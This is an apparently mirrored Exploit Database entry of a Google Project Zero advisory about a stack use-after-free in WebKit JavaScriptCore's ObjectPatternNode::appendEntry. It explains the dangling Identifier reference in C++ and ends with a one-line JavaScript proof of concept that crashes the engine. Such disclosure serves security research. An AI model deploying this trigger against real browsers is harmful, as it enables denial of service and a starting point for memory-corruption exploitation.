WebKit JSC – ‘ObjectPatternNode::appendEntry’ Stack Use-After-Free

• Exploit Database
• 35 阅读

• 作者： Google Security Research
  日期： 2017-07-25
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/42377/

• Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1256
  
  Here's a snippet of ObjectPatternNode::appendEntry.
  
  void appendEntry(const JSTokenLocation&, ExpressionNode* propertyExpression, DestructuringPatternNode* pattern, ExpressionNode* defaultValue, BindingType bindingType)
  {
  m_targetPatterns.append(Entry{ Identifier(), propertyExpression, false, pattern, defaultValue, bindingType });
  }
  
  Here's the definition of Entry.
  
  struct Entry {
  const Identifier& propertyName;
  ExpressionNode* propertyExpression;
  bool wasString;
  DestructuringPatternNode* pattern;
  ExpressionNode* defaultValue;
  BindingType bindingType;
  };
  
  The Identifier object created by "Identifier()" is in the stack. So it will get freed in the end of the appendEntry method.
  
  PoC:
  
  var {[a]: b, ...[]} = {};